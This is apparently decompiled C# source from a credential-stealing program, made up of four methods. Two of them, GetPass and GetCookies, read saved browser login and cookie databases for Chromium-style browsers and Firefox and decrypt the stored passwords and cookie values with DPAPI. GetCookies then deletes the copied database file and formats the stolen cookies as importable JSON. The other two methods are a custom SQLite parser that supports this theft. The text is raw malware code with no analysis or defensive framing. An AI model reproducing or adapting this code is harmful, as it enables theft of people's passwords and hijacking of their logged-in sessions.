// Token: 0x06000012 RID: 18 RVA: 0x00003E94 File Offset: 0x00002E94 private static void GetPass(string name) { string text = Program.filesFolder + name; if (File.Exists(text)) { string tableName = "logins"; byte[] entropyBytes = null; SqlHandler sqlHandler = new SqlHandler(text); sqlHandler.ReadTable(tableName); int rowCount = sqlHandler.GetRowCount(); for (int i = 0; i < rowCount; i++) { string text2; byte[] bytes = DPAPI.Decrypt(Encoding.Default.GetBytes(sqlHandler.GetValue(i, 5)), entropyBytes, out text2); string @string = new UTF8Encoding(true).GetString(bytes); string text3 = sqlHandler.GetValue(i, 0).ToString(); string text4 = sqlHandler.GetValue(i, 3).ToString(); bool flag = false; if (text4.Length != 0 && @string.Length != 0) { foreach (string a in BrowsersData.Address) { if (a == text3) { using (List <string> .Enumerator enumerator2 = BrowsersData.Login.GetEnumerator()) { while (enumerator2.MoveNext()) { string a2 = enumerator2.Current; if (a2 == text4) { using (List <string> .Enumerator enumerator3 = BrowsersData.Password.GetEnumerator()) { while (enumerator3.MoveNext()) { string a3 = enumerator3.Current; if (a3 == @string) { flag = true; break; } } break; } } } break; } } } if (!flag) { BrowsersData.Address.Add(text3); BrowsersData.Login.Add(text4); BrowsersData.Password.Add(@string); } } } } }
// Token: 0x0600001F RID: 31 RVA: 0x0000448C File Offset: 0x0000348C private bool ReadTableFromOffset(ulong offset) { bool result; try { if (this._fileBytes[(int)(checked ((IntPtr)offset))] == 13) { ushort num = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL); int num2 = 0; if (num >= 60000) { return(false); } if (this._tableEntries != null) { num2 = this._tableEntries.Length; Array.Resize <SqlHandler.TableEntry>(ref this._tableEntries, this._tableEntries.Length + (int)num + 1); } else { this._tableEntries = new SqlHandler.TableEntry[(int)(num + 1)]; } for (ushort num3 = 0; num3 <= num; num3 += 1) { ulong num4 = this.ConvertToULong((int)offset + 8 + (int)(num3 * 2), 2); if (offset != 100UL) { num4 += offset; } int num5 = this.Gvl((int)num4); this.Cvl((int)num4, num5); int num6 = this.Gvl((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL)); this.Cvl((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL), num6); ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1L); int num8 = this.Gvl((int)num7); int num9 = num8; long num10 = this.Cvl((int)num7, num8); SqlHandler.RecordHeaderField[] array = null; long num11 = (long)(num7 - (ulong)((long)num8) + 1UL); int num12 = 0; while (num11 < num10) { Array.Resize <SqlHandler.RecordHeaderField>(ref array, num12 + 1); int num13 = num9 + 1; num9 = this.Gvl(num13); array[num12].Type = this.Cvl(num13, num9); array[num12].Size = (long)((array[num12].Type <= 9L) ? ((ulong)this._sqlDataTypeSize[(int)(checked ((IntPtr)array[num12].Type))]) : ((ulong)((!SqlHandler.IsOdd(array[num12].Type)) ? ((array[num12].Type - 12L) / 2L) : ((array[num12].Type - 13L) / 2L)))); num11 = num11 + (long)(num9 - num13) + 1L; num12++; } if (array != null) { this._tableEntries[num2 + (int)num3].Content = new string[array.Length]; int num14 = 0; for (int i = 0; i <= array.Length - 1; i++) { if (array[i].Type > 9L) { if (!SqlHandler.IsOdd(array[i].Type)) { if (this._dbEncoding == 1UL) { this._tableEntries[num2 + (int)num3].Content[i] = Encoding.Default.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size); } else if (this._dbEncoding == 2UL) { this._tableEntries[num2 + (int)num3].Content[i] = Encoding.Unicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size); } else if (this._dbEncoding == 3UL) { this._tableEntries[num2 + (int)num3].Content[i] = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size); } } else { this._tableEntries[num2 + (int)num3].Content[i] = Encoding.Default.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size); } } else { this._tableEntries[num2 + (int)num3].Content[i] = Convert.ToString(this.ConvertToULong((int)(num7 + (ulong)num10 + (ulong)((long)num14)), (int)array[i].Size)); } num14 += (int)array[i].Size; } } } } else if (this._fileBytes[(int)(checked ((IntPtr)offset))] == 5) { ushort num15 = (ushort)(this.ConvertToULong((int)(offset + 3UL), 2) - 1UL); for (ushort num16 = 0; num16 <= num15; num16 += 1) { ushort num17 = (ushort)this.ConvertToULong((int)offset + 12 + (int)(num16 * 2), 2); this.ReadTableFromOffset((this.ConvertToULong((int)(offset + (ulong)num17), 4) - 1UL) * this._pageSize); } this.ReadTableFromOffset((this.ConvertToULong((int)(offset + 8UL), 4) - 1UL) * this._pageSize); } result = true; } catch { result = false; } return(result); }
// Token: 0x06000010 RID: 16 RVA: 0x000039F4 File Offset: 0x000029F4 private static string GetCookies(string name) { string text = Program.filesFolder + name; int num = 0; if (File.Exists(text)) { if (name.Contains("Moz")) { try { string tableName = "moz_cookies"; SqlHandler sqlHandler = new SqlHandler(text); sqlHandler.ReadTable(tableName); int rowCount = sqlHandler.GetRowCount(); Program.TryFunction(new Program.function(File.Delete), text, 10, 200); string text2 = ""; for (int i = 0; i < rowCount; i++) { string text3 = sqlHandler.GetValue(i, 4).ToString(); string text4; if (sqlHandler.GetValue(i, 11).ToString() == "false") { text4 = "false"; } else { text4 = "true"; } string text5; if (sqlHandler.GetValue(i, 10).ToString() == "false") { text5 = "false"; } else { text5 = "true"; } if (text3 != "") { if (text3.Contains("\"")) { text3 = text3.Replace("\"", ""); } if (!text3.Contains("\\")) { string text6 = text2; text2 = string.Concat(new string[] { text6, "{\"domain\":\"", sqlHandler.GetValue(i, 5), "\",\"expirationDate\":", sqlHandler.GetValue(i, 7), ",\"hostOnly\":false,\"httpOnly\":", text4, ",\"name\":\"", sqlHandler.GetValue(i, 3), "\",\"path\":\"", sqlHandler.GetValue(i, 6), "\",\"sameSite\":null,\"secure\":", text5, ",\"session\":false,\"storeId\":null,\"value\":\"", text3, "\",\"id\":1}," }); num++; } } } BrowsersData.CookiesCount += num; return(text2); } catch { return(""); } } try { string tableName2 = "cookies"; byte[] entropyBytes = null; SqlHandler sqlHandler2 = new SqlHandler(text); sqlHandler2.ReadTable(tableName2); int rowCount2 = sqlHandler2.GetRowCount(); Program.TryFunction(new Program.function(File.Delete), text, 10, 200); string text7 = ""; for (int j = 0; j < rowCount2; j++) { byte[] bytes = Encoding.Default.GetBytes(sqlHandler2.GetValue(j, 12)); string text8; byte[] bytes2 = DPAPI.Decrypt(bytes, entropyBytes, out text8); string text9 = new UTF8Encoding(true).GetString(bytes2); string text10; if (sqlHandler2.GetValue(j, 7).ToString() == "false") { text10 = "false"; } else { text10 = "true"; } string text11; if (sqlHandler2.GetValue(j, 6).ToString() == "false") { text11 = "false"; } else { text11 = "true"; } if (text9 != "") { if (text9.Contains("\"")) { text9 = text9.Replace("\"", ""); } if (!text9.Contains("\\")) { string text12 = text7; text7 = string.Concat(new string[] { text12, "{\"domain\":\"", sqlHandler2.GetValue(j, 1), "\",\"expirationDate\":", sqlHandler2.GetValue(j, 5), ",\"hostOnly\":false,\"httpOnly\":", text10, ",\"name\":\"", sqlHandler2.GetValue(j, 2), "\",\"path\":\"", sqlHandler2.GetValue(j, 4), "\",\"sameSite\":null,\"secure\":", text11, ",\"session\":false,\"storeId\":null,\"value\":\"", text9, "\",\"id\":", sqlHandler2.GetValue(j, 11), "}," }); num++; } } } BrowsersData.CookiesCount += num; return(text7); } catch { return(""); } } return(""); }
// Token: 0x06000020 RID: 32 RVA: 0x00004910 File Offset: 0x00003910 private void ReadMasterTable(long offset) { try { byte b = this._fileBytes[(int)(checked ((IntPtr)offset))]; if (b != 5) { if (b == 13) { ulong num = this.ConvertToULong((int)offset + 3, 2) - 1UL; int num2 = 0; if (this._masterTableEntries != null) { num2 = this._masterTableEntries.Length; Array.Resize <SqlHandler.SqliteMasterEntry>(ref this._masterTableEntries, this._masterTableEntries.Length + (int)num + 1); } else { this._masterTableEntries = new SqlHandler.SqliteMasterEntry[num + 1UL]; } for (ulong num3 = 0UL; num3 <= num; num3 += 1UL) { ulong num4 = this.ConvertToULong((int)offset + 8 + (int)num3 * 2, 2); if (offset != 100L) { num4 += (ulong)offset; } int num5 = this.Gvl((int)num4); this.Cvl((int)num4, num5); int num6 = this.Gvl((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL)); this.Cvl((int)(num4 + (ulong)((long)num5 - (long)num4) + 1UL), num6); ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1L); int num8 = this.Gvl((int)num7); int num9 = num8; long num10 = this.Cvl((int)num7, num8); long[] array = new long[5]; for (int i = 0; i <= 4; i++) { int startIdx = num9 + 1; num9 = this.Gvl(startIdx); array[i] = this.Cvl(startIdx, num9); array[i] = (long)((array[i] <= 9L) ? ((ulong)this._sqlDataTypeSize[(int)(checked ((IntPtr)array[i]))]) : ((ulong)((!SqlHandler.IsOdd(array[i])) ? ((array[i] - 12L) / 2L) : ((array[i] - 13L) / 2L)))); } if (this._dbEncoding == 1UL) { this._masterTableEntries[num2 + (int)num3].ItemName = Encoding.Default.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0]), (int)array[1]); } else if (this._dbEncoding == 2UL) { this._masterTableEntries[num2 + (int)num3].ItemName = Encoding.Unicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0]), (int)array[1]); } else if (this._dbEncoding == 3UL) { this._masterTableEntries[num2 + (int)num3].ItemName = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0]), (int)array[1]); } this._masterTableEntries[num2 + (int)num3].RootNum = (long)this.ConvertToULong((int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2]), (int)array[3]); if (this._dbEncoding == 1UL) { this._masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Default.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2] + (ulong)array[3]), (int)array[4]); } else if (this._dbEncoding == 2UL) { this._masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Unicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2] + (ulong)array[3]), (int)array[4]); } else if (this._dbEncoding == 3UL) { this._masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)(num7 + (ulong)num10 + (ulong)array[0] + (ulong)array[1] + (ulong)array[2] + (ulong)array[3]), (int)array[4]); } } } } else { ushort num11 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL); for (int j = 0; j <= (int)num11; j++) { ushort num12 = (ushort)this.ConvertToULong((int)offset + 12 + j * 2, 2); if (offset == 100L) { this.ReadMasterTable((long)((this.ConvertToULong((int)num12, 4) - 1UL) * this._pageSize)); } else { this.ReadMasterTable((long)((this.ConvertToULong((int)(offset + (long)((ulong)num12)), 4) - 1UL) * this._pageSize)); } } this.ReadMasterTable((long)((this.ConvertToULong((int)offset + 8, 4) - 1UL) * this._pageSize)); } } catch { } }